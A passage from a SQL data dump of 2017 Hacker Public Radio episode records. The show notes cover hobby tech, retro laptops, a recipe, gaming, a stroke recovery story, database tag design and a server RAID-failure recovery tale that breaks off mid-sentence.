gradually being archived this way with the intention of eventually storing everything there.</p>\r\n<p>For example, to find show 1999 on <code>archive.org</code> look for <a href=\"https://archive.org/details/hpr1999 \" class=\"uri\">https://archive.org/details/hpr1999</a>. The entire HPR collection can be browsed at <a href=\"https://archive.org/details/hackerpublicradio\" class=\"uri\">https://archive.org/details/hackerpublicradio</a>.</p>\r\n<h3 id=\"some-history\">Some history</h3>\r\n<p>As you can see, if you examine the details on the <a href=\"https://hackerpublicradio.org/stats.php\" title=\"HPR statistics\">website statistics page</a> the predecessor of HPR started more than 11 years ago as “<em>Today With A Techie</em>”, transforming into “<em>Hacker Public Radio</em>” over 9 years ago.</p>\r\n<pre><code>Started:            11 years, 4 months, 12 days ago (2005-10-10)\r\nRenamed HPR:        9 years, 1 months, 20 days ago (2007-12-31)</code></pre>\r\n<p>In the earlier days the frequency of show release was not the predictable 5 per week, every weekday, that it is now. There were gaps, sometimes of several days, and occasionally shows came out on the weekend. Stability was achieved in October 2012 and there have been <strong>no gaps since then</strong>!</p>\r\n<p>There are currently 280 hosts who have contributed shows at some point in the history of HPR, and at the time of writing in February 2017 show number 2230 has been released. The number of episodes and hosts will be greater when the episodes from “<em>Today With A Techie</em>” are incorporated into the archive.</p>\r\n<p>The <em>Hacker Public Radio experiment</em> has been very successful over the years, but there is a certain fragility in the way it works.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>The longer notes for this episode which are available <a href=\"https://hackerpublicradio.org/eps/hpr2255/full_shownotes.html\" title=\"full_shownotes.html\">here</a>, talk about the details of the problem facing HPR and go on to suggest some solutions.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/calendar.php\">HPR calendar page</a> - shows the queue and a graph of the levels over past months</li>\r\n<li><a href=\"https://hackerpublicradio.org/stats.php\">HPR statistics page</a> - a collection of current and historical statistics about HPR</li>\r\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">How to become an HPR host</a> - instructions on how to become a host on HPR by contributing a show</li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2255/full_shownotes.html\">Detailed notes</a> for this episode</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2255/full_shownotes.epub\">ePub version of the notes</a> for this episode</li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','HPR,community,contribution,podcast',0,0,1),
(2258,'2017-03-29','Killer Keilbasa',247,'Quick recipe for that last minute party','<p>I have heard out here a few recipes so I figured I would throw one out here that goes over real well when we make it.</p>\r\n<p>Recipe:</p>\r\n<ul>\r\n<li>1 Lb. Keilbasa (your choice)</li>\r\n<li>2 TBSP Ketchup</li>\r\n<li>2 TBSP Brown Sugar</li>\r\n<li>2 Table spoons jelly (I have used orange Marmalade, Grape Jelly and various flavors of Jalapeno or pepper jelly)</li>\r\n</ul>\r\n<!-- - -->\r\n<ul>\r\n<li>Crock Pot (Slow cooker) or sauce pan</li>\r\n<li>In crock pot add Kielbasa sliced in 1/2\" pieces</li>\r\n<li>Add jelly</li>\r\n<li>Add Brown Sugar</li>\r\n<li>Add Ketchup</li>\r\n</ul>\r\n<p>Turn crock pot on medium for 2 hours checking and stirring every half hour. Should be ready in 2 hours.</p>\r\n<p>In sauce pan on medium heat stirring continuously until mixture liquefies and the Kielbasa look done. Probably less than 20 minutes this way but you have to watch it or it burns. This is why we use a slow cooker.</p>\r\n<p>I make 5-7 lbs at a time for a party and usually it is all gone by the end of the party. So I take it that it is a hit. This also is pretty good over rice. Almost Asian style.</p>\r\n',346,93,0,'CC-BY-SA','keilbasa,recipe,food',0,0,1),
(2264,'2017-04-06','At The Library',505,'What my local library offers','<p>Check out your local library.</p>\r\n<p>If you are a cord cutter or looking for cheap alternatives to some of the following:</p>\r\n<ul>\r\n<li>Ebooks</li>\r\n<li>Emagazines</li>\r\n<li>Audibooks</li>\r\n<li>DVD\'s</li>\r\n<li>Blu rays</li>\r\n<li>CD\'s</li>\r\n<li>And much much more!</li>\r\n</ul>',346,0,0,'CC-BY-SA','EBooks, audio books, Emagazines, Chromebooks, Movies, TV Shows, Computers',0,0,1),
(2257,'2017-03-28','Watt OS',244,'a short show about the Linux distro Watt OS','<p>In this short episode I tell you about installing Watt OS onto an Acer Aspire One Netbook from 2008.</p>\r\n<p>This net book came with a 8Gig SSD installed and a 32bit 1.6G atom processor and many modern Linux spins are just too big for the hardware.</p>\r\n<p>However Watt OS came to the rescue and installed on the Netbook without issue.</p>\r\n<p>I plan to give it a go on a Lenovo x61 shortly and will let you know how that works out, my thought is it will fly on that hardware.</p>\r\n<p><a href=\"https://wiki.planetwatt.com\" class=\"uri\">https://wiki.planetwatt.com</a></p>',338,57,1,'CC-BY-SA','Linux,OS,OS Watt',0,0,1),
(2259,'2017-03-30','Minidiscs: A Response to HPR 2212',1002,'Response to hpr2212 with my own uses and recollections of the awesome legacy medium of the minidisc','<p>This is a walking-and-talking response to hpr2212 (meanderings Cyberpunk and the Minidisc, The Cyberpunk history of the Sony Minidisc, hosted by Quvmoh on 2017-01-24) with my own uses and recollections of this awesome legacy medium.</p>\r\n\r\n<p>Video about my USB power supply hack:<br />\r\n<a href=\"https://www.youtube.com/watch?v=v53k2RCT-lA\">https://www.youtube.com/watch?v=v53k2RCT-lA</a>\r\n</p>\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n <li>My Minidisc device: <a href=\"https://www.minidisc.org/part_Sharp_MD-MS701+MS702.html\">Sharp MD-MS701/MS702</a></li>\r\n <li>The <a href=\"https://www.coutant.org/ecmms957/\">Sony Model ECM-MS957</a> (1996) Electret Condenser Middle-Side Stereo Microphone</li>\r\n</ul>',238,0,0,'CC-BY-SA','audio, minidisc, digital media',0,0,1),
(2265,'2017-04-07','WattOS on Lenovo X61s',488,'I talk about installing WattOS on the X61s','<p>This is a follow on show from the one about WattOS on the Acer AspireOne I did recently.</p>\r\n<p>I talk about installing and running of the OS on this 10+ year old laptop and how they are still a viable option as a cheap laptop.</p>\r\n<p>Note all the recording, and uploading to HPR of this episode was done on the X61s</p>\r\n<p><a href=\"https://planetwatt.com/new/\" class=\"uri\">https://planetwatt.com/new/</a></p>\r\n<p><a href=\"https://www.cnet.com/uk/products/lenovo-thinkpad-x61s/review/\" class=\"uri\">https://www.cnet.com/uk/products/lenovo-thinkpad-x61s/review/</a></p>\r\n<p><a href=\"https://support.lenovo.com/gb/en/documents/pd012148\" class=\"uri\">https://support.lenovo.com/gb/en/documents/pd012148</a></p>\r\n',338,0,0,'CC-BY-SA','WattOS,Lenovo X61s',0,0,1),
(2268,'2017-04-12','Fish On!',1138,'Websites and apps used for planning fishing trips','<p>Whether hitting your local lake or planning a day trip out, it is always good to consult tech that can help out making the trip as successful as possible. Here are the items mentioned in the podcast:</p>\r\n<ul>\r\n<li>Google Weather<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.macropinch.swan&amp;hl=en\" class=\"uri\">https://play.google.com/store/apps/details?id=com.macropinch.swan&amp;hl=en</a></li>\r\n<li>Google Maps<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.google.android.apps.maps&amp;hl=en\" class=\"uri\">https://play.google.com/store/apps/details?id=com.google.android.apps.maps&amp;hl=en</a></li>\r\n<li>Sea Tow<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.seatow.assistant&amp;hl=en\" class=\"uri\">https://play.google.com/store/apps/details?id=com.seatow.assistant&amp;hl=en</a></li>\r\n<li>Fish Brain<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.fishbrain.app&amp;hl=en\" class=\"uri\">https://play.google.com/store/apps/details?id=com.fishbrain.app&amp;hl=en</a></li>\r\n<li>Fishing Times (Free)<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.fishingtimesfree&amp;hl=en\" class=\"uri\">https://play.google.com/store/apps/details?id=com.fishingtimesfree&amp;hl=en</a></li>\r\n<li>Sufix Guide<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.rapala.sufixfishinglineguide\" class=\"uri\">https://play.google.com/store/apps/details?id=com.rapala.sufixfishinglineguide</a></li>\r\n<li>GoFree Hooked (Free)<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.navico.gofreehooked\" class=\"uri\">https://play.google.com/store/apps/details?id=com.navico.gofreehooked</a></li>\r\n<li>Insight Genesis<br />\r\n<a href=\"https://gofreemarine.com/insight-genesis/\" class=\"uri\">https://gofreemarine.com/insight-genesis/</a></li>\r\n<li>Navionics Boating HD<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=it.navionics.singleAppMarineLakesHD\" class=\"uri\">https://play.google.com/store/apps/details?id=it.navionics.singleAppMarineLakesHD</a></li>\r\n<li>Fishpoints<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.gregacucnik.fishingpoints\" class=\"uri\">https://play.google.com/store/apps/details?id=com.gregacucnik.fishingpoints</a></li>\r\n</ul>\r\n<!-- -->\r\n<ul>\r\n<li>YT Video subs\r\n<ul>\r\n<li>Leo Schen<br />\r\nExtreme Philly Fishing<br />\r\n<a href=\"https://www.youtube.com/user/extremephillyfishing?feature=em-lss\" class=\"uri\">https://www.youtube.com/user/extremephillyfishing?feature=em-lss</a></li>\r\n<li>William B. tedrick<br />\r\nFishtales<br />\r\n<a href=\"https://www.youtube.com/channel/UCI8h7DBJRSEZgxsUy8_0a8w\" class=\"uri\">https://www.youtube.com/channel/UCI8h7DBJRSEZgxsUy8_0a8w</a></li>\r\n<li>Haru834<br />\r\n<a href=\"https://www.youtube.com/channel/UCvh_ijYeUoNwejWhPNvD-RQ\" class=\"uri\">https://www.youtube.com/channel/UCvh_ijYeUoNwejWhPNvD-RQ</a></li>\r\n</ul></li>\r\n</ul>\r\n',346,0,0,'CC-BY-SA','fish,fishing',0,0,1),
(2266,'2017-04-10','Gamebooks: Lone Wolf',2571,'Klaatu talks about the Lone Wolf solo RPG series','<p>\r\nKlaatu talks about the <a href=\"https://projectaon.org\" target=\"_blank\">Lone Wolf</a> series of solo RPG gamebooks from the 1980s.</p>\r\n\r\n',78,95,0,'CC-BY-SA','game,gaming,tabletop,book,rpg',0,0,1),
(2276,'2017-04-24','Tunnels and Trolls and Dungeon Delvers',1877,'Klaatu talks about Tunnels & Trolls solo RPG series, and Dungeon Delvers','<p>Klaatu reviews the solo RPG experience provided by <a href=\"https://www.drivethrurpg.com/browse.php?keywords=tunnels+%26+trolls&x=0&y=0&author=&artist=&pfrom=&pto=\" target=\"_blank\">Tunnels &#38; Trolls</a> community.\r\n</p>\r\n<p>Additionally, he mentions a nice Creative Commons rulebook (if you can call 2 pages a book) called <a href=\"https://brentnewhall.com/games/doku.php?id=games:dungeon_delvers\" target=\"_blank\">Dungeon Delvers</a>.\r\n</p>',78,95,0,'CC-BY-SA','game,gaming,tabletop,book,rpg',0,0,1),
(2267,'2017-04-11','Our Digital Art',1793,'Sigflup and Siss talk about digital art and what it means to them','Sigflup\'s art!!!<br/>\r\n<img src=\"https://theadesilva.com/hpr_art.jpg\"/><br/>\r\nSiss\'s art!!!!<br/>\r\n<img src=\"https://theadesilva.com/siss_art.jpg\"/><br/>\r\n<br/>\r\nSigflup\'s Book!!!<br/>\r\n<img src=\"https://theadesilva.com/my_art2.jpg\"/><br/>\r\n<br/>\r\n<a href=\"https://www.amazon.com/s/ref=dp_byline_sr_book_1?ie=UTF8&text=Sissorelle+Ferox&search-alias=books&field-author=Sissorelle+Ferox&sort=relevancerank\">Siss\'s books!!</a>\r\n\r\n',115,0,0,'CC-BY-SA','digital art ',0,0,1),
(2271,'2017-04-17','Raspberry Pi Zero W',378,'an introduction to the new Pi Zero W from the Raspberry Pi Foundation','<p>\r\nIn this episode I talk about the new Raspberry Pi Zero W single board computer released on 28th February 2017 to coincide with the 5th Birthday of the Raspberry Pi Foundation.\r\n</p>\r\n<p>\r\nThis tiny 65x30mm single board PC has the following specs\r\n</p>\r\n\r\n<ul>\r\n<li>1GHz, single-core CPU \r\n</li>\r\n<li>512MB RAM \r\n</li>\r\n<li>Mini HDMI and USB On-The-Go ports \r\n</li>\r\n<li>Micro USB power\r\n</li>\r\n<li>HAT-compatible 40-pin header \r\n</li>\r\n<li>Composite video and reset headers \r\n</li>\r\n<li>CSI camera connector \r\n</li>\r\n<li>802.11 b/g/n wireless LAN \r\n</li>\r\n<li>Bluetooth 4.1 \r\n</li>\r\n<li>Bluetooth Low Energy (BLE) \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nHere are a couple of links to the foundation and a fuller review\r\n</p>\r\n<p>\r\n<a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.engadget.com/2017/02/28/raspberry-pi-zero-w-is-a-10-computer-with-wifi-and-bluetooth/\">https://www.engadget.com/2017/02/28/raspberry-pi-zero-w-is-a-10-computer-with-wifi-and-bluetooth/</a>\r\n</p>\r\n	',338,57,0,'CC-BY-SA','Raspberry Pi,Zero W,single board computer,sbc',0,0,1),
(2280,'2017-04-28','Lenovo X61s Part 2',526,'A description of living with the X61s for almost 2 weeks','<p>HPR episode on Lenovo X61s part 2</p>\r\n<ul>\r\n<li>Cost £36 including auction fees</li>\r\n<li>OS Free (any Linux will work well)</li>\r\n<li>Upgrade to 120Gig SSD £40 of ebay</li>\r\n<li>Total outlay £76</li>\r\n</ul>\r\n<p>If you have to buy one then get an OS free one and don\'t pay more than £80-£100 depending if it has an SSD or not</p>\r\n<p>Hello HPR, a few episodes ago I talked of using the Lenovo X61s with Watt OS and said I would report back after a possible upgrade to the laptop with and SSD replacement for the hard drive.</p>\r\n<p>Well I duly ordered and received a Drevo 120 Gig SSD from ebay. These are about £40 each so make a cheap upgrade to an older laptops spinning disc see review here:</p>\r\n<p><a href=\"https://www.enostech.com/drevo-x1-240gb-ssd-review/\" class=\"uri\">https://www.enostech.com/drevo-x1-240gb-ssd-review/</a></p>\r\n<p>after installing the PC with WattOS while it did everything you would need of an OS and was absolutely fine on the X61s I was a bit disillusioned with the amount of configuration needed to get all the software I needed working, definitely not New user friendly.</p>\r\n<p>Looking at other lite Linux distributions I came upon Linux Lite</p>\r\n<p><a href=\"https://www.linuxliteos.com/\" class=\"uri\">https://www.linuxliteos.com/</a></p>\r\n<p>and decided that this might be a better choice as it says it is aimed at new users, and being based on Ubuntu was a familiar beast. ISO was downloaded and duly installed on the X61s and as soon as all the updates were completed I looked at the installed software and it was more comprehensive but not at the expense of still being lightweight.</p>\r\n<p>At first Boot it takes about 300mb of ram and even with the word processor and Firefox in use Ram usage was only about 700mb.</p>\r\n<p>Audacity after install worked out of the box, and I\'ve already recorded and uploaded another show for HPR using the X61s and all went flawlessly. With the new SSD I am getting close to 5 hours of use from the 8 cell 63W battery installed on the PC and while I recognize the X61s being over 10 years old is not going to meet the needs of a power user, its fully capable of being an everyday laptop for basic office tasks, some light audio editing, and even photo editing in GIMP. I was able to edit and process a 10mb .jpg image without any issues and exporting the final image took seconds.</p>\r\n<p>I was fairly happy with the X61s performance with the 80Gig spinner it came with, but the addition of an SSD has both improved performance and battery life to the extent that I would happily take it on the road as my only PC. Actually for the porpoise of writing this review I\'ve lived with it as my main PC for almost 2 weeks and have not really missed its big brother the X230i i3 laptop I also have. In fact I was going to record a show using that and found that as it has a composite Audio jack, and my head set requires separate mic and headphone sockets I wasn\'t able to, so one up to the X61s there.</p>\r\n<p>Conclusion, if you have a couple of kids and you\'re looking for a laptop for them to do homework, watch Utube, and surf the web (parental controls enabled) then I would look no further. And if they get broken by said kids you\'ve not lost a bundle of dosh.</p>\r\n',338,57,0,'CC-BY-SA','Lenovo X61s, Linux Lite',0,0,1),
(2282,'2017-05-02','Pathfinder Adventure Card Game',2445,'Klaatu talks about the Pathfinder RPG franchise, the OGL license, and the Adventure Card Game','<p>Klaatu introduces you to the <a href=\"https://paizo.com/pathfinder/adventureCardGame/\" target=\"_blank\">Pathfinder</a> and the <a href=\"https://paizo.com/pathfinder/adventureCardGame\" target=\"_blank\">Pathfinder Adventure Card Game</a>.</p>\r\n\r\n<p>And since it&#39;s in the same neighborhood, Klaatu also mentions the <a href=\"https://www.opengamingfoundation.org/ogl.html\" target=\"_blank\">Open Game License</a> and mentions more than once <a href=\"https://dnd.wizards.com/dungeons-and-dragons/what-is-dd/forgotten-realms\" target=\"_blank\">Forgotten Realms</a>.</p>',78,95,0,'CC-BY-SA','game,gaming,tabletop,card,rpg',0,0,1),
(2269,'2017-04-13','Chocolate Milk',2529,'A sample show of the nixers podcast. Adam\'s story, milky chocolate, unicomp, and plan9','<p>More on <a href=\"https://nixers.net/showthread.php?tid=1991\" class=\"uri\">https://nixers.net/showthread.php?tid=1991</a></p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Unicomp\" class=\"uri\">https://en.wikipedia.org/wiki/Unicomp</a></li>\r\n<li><a href=\"https://plan9.bell-labs.com/plan9/\" class=\"uri\">https://plan9.bell-labs.com/plan9/</a></li>\r\n<li><a href=\"https://www.catb.org/~esr/writings/taoup/html/plan9.html\" class=\"uri\">https://www.catb.org/~esr/writings/taoup/html/plan9.html</a></li>\r\n<li><a href=\"https://mobile.osnews.com/story.php/15235...ng-System/\" class=\"uri\">https://mobile.osnews.com/story.php/15235...ng-System/</a></li>\r\n<li><a href=\"https://mobile.osnews.com/story.php/15235...tem//page2\" class=\"uri\">https://mobile.osnews.com/story.php/15235...tem//page2</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Chocolate_milk\" class=\"uri\">https://en.wikipedia.org/wiki/Chocolate_milk</a></li>\r\n<li><a href=\"https://pub.iotek.org/p/R4hgeL5\" class=\"uri\">https://pub.iotek.org/p/R4hgeL5</a></li>\r\n<li><a href=\"https://pub.iotek.org/p/iK0FNXy\" class=\"uri\">https://pub.iotek.org/p/iK0FNXy</a></li>\r\n</ul>\r\n<!--  -->\r\n<ul>\r\n<li>Music: Future Chiptune - Andrey Avkhimovich<br />\r\n<a href=\"https://www.jamendo.com/track/1108723/future-chiptune\" class=\"uri\">https://www.jamendo.com/track/1108723/future-chiptune</a></li>\r\n</ul>\r\n',353,0,0,'CC-BY-SA','Unix, Technology, Plan9, Keyboard',0,0,1),
(2286,'2017-05-08','Surviving a Stroke',644,'on the 2nd of February I had a stroke, this is my story','<p>First off a disclaimer: anything I say here is my experience and is in no way intended as advice to anyone, everyone who experiences or is at risk of a stroke is different and you must make your own lifestyle choices based on professional advice.</p>\r\n<p>That clear lets get on with my show. On the 2nd February 2017 I had a Stroke, it came completely without warning. I was out with my wife, just about to start a Bridge class we were attending. I sat down at the table and just after sitting down was blasted with what I thought was White Noise from faulty hearing aids. After quickly removing them without any effect I thought I was having a sudden severe migraine, which I have from time to time. However I was unable to communicate what was happening and after several minutes my wife wrote on a paper the words “Home” and “Hospital” and I pointed to hospital. An Emergency ambulance was duly called and I was transferred to the local Emergency Department. Several hours later in the early hours of the next morning they admitted me, still not sure what had happened. It was only after a scan that afternoon that they concluded that I had had a Stroke.</p>\r\n<p>I was seen by a consultant that evening who confirmed this and as I still had residual problems on my right side concluded that it was a stroke, and not a TIA (Transient Ischaemic Attack) or a mini stroke as it is sometimes called. I spent the next 12 days in hospital having further tests, including another scan, an MRI as opposed to the previous CT scan I had had on admission. After seeing the results of this scan the Consultant was amazed that I was not more severely affected, in other cases of the type of stroke I suffered the physical and cognitive damage is much more severe. It was looking like I had thankfully, dodged a bullet.</p>\r\n<p>That is not to say there were no effects. My right side was effected and the fine motor control was damaged. Coordination in using my right hand and arm were initially difficult as was writing (I am predominantly right handed). Also my mouth felt like I was wearing someone’s false teeth, even though I have all my own. However the main effect has been fatigue, initially severe, but as I write this 6 weeks later this is starting to improve, although I still tire after 2-3 hours doing things that I could have done all day previously. I also still have a little feeling of weakness in my right hand and arm and writing is still an issue, thankfully most of my writing is done on a keyboard.</p>\r\n<p>So what caused it I hear you yelling, well the truth is they don’t know. The most serious risks are to people that Drink alcohol excessively, Smoke and have a high fat diet. Also those over weight particularly the obese, and people with diabetes are high risk. Another major risk factor is genetic, and I remembered afterwards that my Grandfather and an Uncle had major strokes that ultimately led to their deaths. Also stress and high blood pressure can be a factor.</p>\r\n<p>I don’t drink or smoke and have been a vegetarian for many years, also my blood pressure is checked regularly and was always seen as within normal range. However I was at the time of the stroke 21lb over weight, but even before it happened I had lost 7lb. Since the stroke the blood tests also show I am pre-diabetic so I need to increase my exercise (again something I had started to do), and alter my diet to reduce my blood sugars. Not major issues as I had started to attend a gym and walk more as part of the weight loss plan, and I actually prefer healthy food, and now have a reason to say to people when I’m in company why I eat what and the way I do.</p>\r\n<p>The main effect for me has been the restriction on my mobility as the Consultant will not let me drive until 3 months post discharge (14th May), which means I have to rely on others or get public transport, this is not the problem but having to walk from transport stops to where I’m going is due to the fatigue. Roll on May 14th.</p>\r\n<p>I thought I would record this show as a bit of a warning, and for listeners to realise that a Stroke can and does happen to anyone. On a positive note there is life after stroke and even for those who are more seriously disabled by a stroke many can and do recover most if not all the function they had before hand.</p>\r\n<p>Further info on Stroke can be found here:</p>\r\n<p><a href=\"https://www.stroke.org.uk/\" class=\"uri\">https://www.stroke.org.uk/</a></p>\r\n<p><a href=\"https://www.nhs.uk/conditions/stroke/pages/introduction.aspx\" class=\"uri\">https://www.nhs.uk/conditions/stroke/pages/introduction.aspx</a></p>\r\n',338,100,0,'CC-BY-SA','health,stroke,recovery,TIA',0,0,1),
(2270,'2017-04-14','Managing tags on HPR episodes - 3',1893,'Looking for the best way to store and manage tags in the HPR database, part 3','<h1 id=\"managing-tags-on-hpr-episodes---3\">Managing tags on HPR episodes - 3</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the third (and last) show looking at the subject of Managing Tags relating to HPR shows.</p>\r\n<p>In the <a href=\"https://hackerpublicradio.org/eps.php?id=2245\" title=\"Managing tags on HPR episodes - 1\">first show</a> we looked at why we need tags, and examined the advantages and disadvantages of the present system of storage. We considered the drawbacks of this design when searching the tags.</p>\r\n<p>Then in the <a href=\"https://hackerpublicradio.org/eps.php?id=2260\" title=\"Managing tags on HPR episodes - 2\">second show</a> we looked at a simple way of making a tags table and how to query it in order to fulfil the requirements defined in the first show.</p>\r\n<p>In this show we’ll look at a more rigorous, efficient, “<em>normalised</em>” solution.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have written out a set of longer notes for this episode and these are available <a href=\"https://hackerpublicradio.org/eps/hpr2270/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Previous shows in this set:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2245\">“<em>Managing tags on HPR episodes - 1</em>”</a> - episode 2245</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2260\">“<em>Managing tags on HPR episodes - 2</em>”</a> - episode 2260</li>\r\n</ul></li>\r\n<li>Mike Ray’s show on this subject: <a href=\"https://hackerpublicradio.org/eps.php?id=1569\">episode 1569, “<em>Many-to-many data relationship howto</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/report_missing_tags.php\">HPR page listing shows missing summaries and tags</a></li>\r\n<li>Included files:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2270/full_shownotes.html\">Detailed notes</a> for this episode</li>\r\n<li>Image representing a many to many relationship: <a href=\"https://hackerpublicradio.org/eps/hpr2270/table_relationships.svg\"><code>table_relationships.svg</code></a></li>\r\n<li>SQL to create the tables: <a href=\"https://hackerpublicradio.org/eps/hpr2270/normalise_tags_2.sql\"><code>normalise_tags_2.sql</code></a></li>\r\n<li>SQL to create a view: <a href=\"https://hackerpublicradio.org/eps/hpr2270/eps_hosts_tags_view.sql\"><code>eps_hosts_tags_view.sql</code></a></li>\r\n<li>Perl script to manage the tables: <a href=\"https://hackerpublicradio.org/eps/hpr2270/refresh_tags_2\"><code>refresh_tags_2</code></a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','HPR,database,schema,tags,many-to-many',0,0,1),
(2272,'2017-04-18','In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012',762,'A tale from the trenches.  When good servers go bad.','<p>So we had this server.</p>\r\n<p>As all servers are wont to do, this one had run successfully for a number of years. Everything worked perfectly until it didn’t.</p>\r\n<p>It ran, to my knowledge, only Hyper-V Server on its system drive, and had a second set of drives for hosting the VM that ran Microsoft Deployment Toolkit to service our depot. Our depot was on its own physical network, sharing with production only an ISP demarc.</p>\r\n<p>I had long since abandoned the depot and its trappings, thinking it someone else’s domain, thinking my time better spent on client systems, thinking that I didn’t need to know what happened in the oft-ignored part of our operation. I assumed that it was set up properly since it had been so stable for so many years. But you know the old saying:</p>\r\n<p><em>When you make assumptions you make an ass out of you and muptions.</em></p>\r\n<h3 id=\"the-problem.\">The Problem.</h3>\r\n<p>Our monitoring systems reports the two depot servers offline, both the hypervisor and its virtual. I sent our depot technician to take a look. They come back online and he tells me that it needed to be rebooted. Having divested myself of giving a damn about the depot, I barely found the energy to shrug.</p>\r\n<p>Then it happened again. I again sent the technician and promptly got wrapped up in some client-facing issue. I forgot about the servers until:</p>\r\n<p>They went offline a third time. I didn’t have to tell my depot tech; he was watching the same feed as I. He rummaged a bit and came back with a story of defeat and virtual disks not being found.</p>\r\n<p>“The server won’t boot because the Virtual disk can’t be found” he said.</p>\r\n<p>“Ok, so you mean the virtual won’t come up, but what about the physical?” I replied.</p>\r\n<p>“No, that’s what I mean. It won’t get past BIOS. It’s complaining of a virtual drive not being found.”</p>\r\n<p>“Sounds bogus, let’s look.”</p>\r\n<p>He was not wrong; that is what the screen said. And what it meant was RAID failure. I slid off the front of the server case and sure enough, one of the drives had popped.</p>\r\n<p>Oh, did I mention? No backups.</p>\r\n<h3 id=\"the-rabbit-hole.\">The Rabbit Hole.</h3>\r\n<p>Drives pop sometimes, ain’t no thing. We build systems to be resilient. You slap a fresh one in there and it starts re-silvering and you get on with your day. Not this time, gentle reader.</p>\r\n<p>While digging through the RAID controller, I found, to my amazement, horror, and utter confusion, that whatever chucklefuck set up this server put the two system drives in a RAID 0. As I stared at the screen and at the blinking amber drive light, all that could pass my lips was a quiet “Oh my god, why?”</p>\r\n<p>In this scenario, I didn’t see any way forward, but through. So far, it had been demonstrated that the bad drive would behave for about 2 hours, then throw a fit. I shut down the server and took some time to think about how to proceed. In that time, I re-discovered some of the things the virtual machine was serving.</p>\r\n<p>Things like: MDT, DNS, DHCP, PXE boot, but most importantly: the lone DC for depot.local (MDT needs a domain). Oh, and it was the only machine that was set up to manage the hypervisor through the Hyper-V console and Server Manager.</p>\r\n<p>GREAT.</p>\r\n<p>Compounding the issue, the virtual was not stored on the separate set of RAID 1 disks in this server as I had assumed. It was stored on the system drive. Oh joy, oh rapture.</p>\r\n<p>My new mission: Rescue that virtual.</p>\r\n<h3 id=\"the-struggle.\">The Struggle.</h3>\r\n<p>First things first. I assume I’ll only have one chance to rescue this data before this drive bites the dust for good. I plug in the VGA and keyboard. Take a deep breath.</p>\r\n<p>I turn on the server.</p>\r\n<p>It fails to boot into the operating system. “Come on, you little shit.” Take out the drive and put it back in. Success. We boot into the OS and I’m presented with a log on screen. Password.</p>\r\n<p>There are no logon servers available to process your request.</p>\r\n<p>Shit, that’s right. The virtual is the only DC. K, local admin it is. Login successful. Presented with a command like and SConfig. Grab the terminal and start poking about. cd to C: and dir. Find a folder named VMs. Bingo. Started copying the VHDX to the RAID 1 set.</p>\r\n<pre><code>cp “C:\\vms\\Hyper-V Replica\\Virtual hard disks\\{guid}\\{guid}.vhdx” E:\\</code></pre>\r\n<p>The server moves the data at a respectful 700Mbps, considering its current degraded state. It eventually finished the transfer after about 10 agonizing minutes. Shut down the physical to preserve the bad drive.</p>\r\n<p>We are out of the woods, but it’s still a long way to Gramma’s house.</p>\r\n<p>The King is Dead; Long Live the King.</p>\r\n<p>I have a plan. Now that I have the VHDX, and since we clearly need a replica server, I’ll push my luck. I’ll build a new server and see if I can replicate the virtual. I happen to have a disused server sitting right next to the bad server. It’s admittedly dissimilar hardware, but shouldn’t be a problem. I don’t know why it’s lying dormant or what it was used for in the days of yore, but it’s mine now. Eminent domain.</p>\r\n<p>And here is the story of how it took me 4 hours to install an OS that usually takes 3 minutes.</p>\r\n<p>We need to load up Hyper-V 2012 on this “new” server first.</p>\r\n<p>As is standard practice, I disconnect all but one drive from the mobo. I do this because sometimes the Windows installer decides that the “SYSTEM” partition belongs on a different drive from the C partition and it makes me cry. I used rufus (what a fantastic little utility, really. I need to donate to that guy) to make a HV 2012 boot disk from ISO.</p>\r\n<p>You know how it takes a few times to get a USB to go into it’s slot correctly? Not me. I whipped that bad mamma-jamma like a shuriken from 30 feet away and it slid perfectly into the front of the server. Fireworks, 100 doves, the works.</p>\r\n<p>Boot it, get to the installer part where it asks you upon which drive you wish to install it. Boom, error:</p>\r\n<p>Setup was unable to create a new system partition or locate an existing system partition.</p>\r\n<p>Weird. Sounds like a problem with the disk, right? Open up diskpart, clean it, format, create partition, assign it a letter. No go. Try a different drive? Nope. Disconnect the cd drive maybe. No dice. Connect all the drives and try each one. Nada. Boot up into Ubuntu and use GParted to re-do what I did in diskpart. Zilch. Re-create the install media. Goose egg. Try the back USB ports. I’m running out of ways to say no, but in essence, nothing was making this error go away.</p>\r\n<p>Screw it. Maybe this is why this server was sitting unused? Maybe it’s a bad mobo or something and frankly, I don’t care. Part out the drives and junk it.</p>\r\n<p>We happen to have a literal pile of servers to pick from, so I grab the one on top because it’s the most similar to the bad server and because you must be out your damned mind if you think I’m digging through that mound of junk. This’ll do nicely.</p>\r\n<p>Remember how I said I didn’t want to have anything to do with the depot? I still 